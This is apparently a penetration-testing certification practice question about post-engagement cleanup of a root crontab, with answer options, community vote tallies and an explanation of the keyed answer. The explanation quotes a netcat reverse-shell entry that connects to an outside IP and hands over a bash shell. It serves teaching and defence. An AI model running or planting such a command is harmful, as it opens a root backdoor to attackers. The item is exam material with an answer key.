PT0-002 · Question #589
While wrapping up a penetration engagement, a penetration tester remembered that the following changes were made to the root crontab: Which of the following would be best for the penetration tester to
The correct answer is B. Delete the third entry, as it is generating a backdoor into the server. The third entry in the crontab (/bin/nc -nv 10.1.2.2 80 -e /bin/bash) sets up a reverse shell by using Netcat (nc). This entry essentially creates a backdoor that allows an attacker to connect to the server remotely and gain shell access. Leaving this entry in place poses a signi
Question
While wrapping up a penetration engagement, a penetration tester remembered that the following changes were made to the root crontab:
Which of the following would be best for the penetration tester to do as part of the post- engagement cleanup?
Exhibit
Options
- AChange the fourth entry to perform a reload of the Apache2 service rather than a restart
- BDelete the third entry, as it is generating a backdoor into the server
- CRemove the /dev/null redirect of the output from the second entry
- DChange the first entry to run every day rather than every Monday
How the community answered
(29 responses)- A10% (3)
- B66% (19)
- C3% (1)
- D21% (6)
Explanation
The third entry in the crontab (/bin/nc -nv 10.1.2.2 80 -e /bin/bash) sets up a reverse shell by using Netcat (nc). This entry essentially creates a backdoor that allows an attacker to connect to the server remotely and gain shell access. Leaving this entry in place poses a significant security risk to the organization. As part of post-engagement cleanup, the penetration tester must: 1. Remove any unauthorized or malicious changes, such as backdoors or reverse shells, to restore the system to its original state. 2. Ensure no lingering artifacts from the engagement could be exploited by malicious actors.
Topics
Community Discussion
No community discussion yet for this question.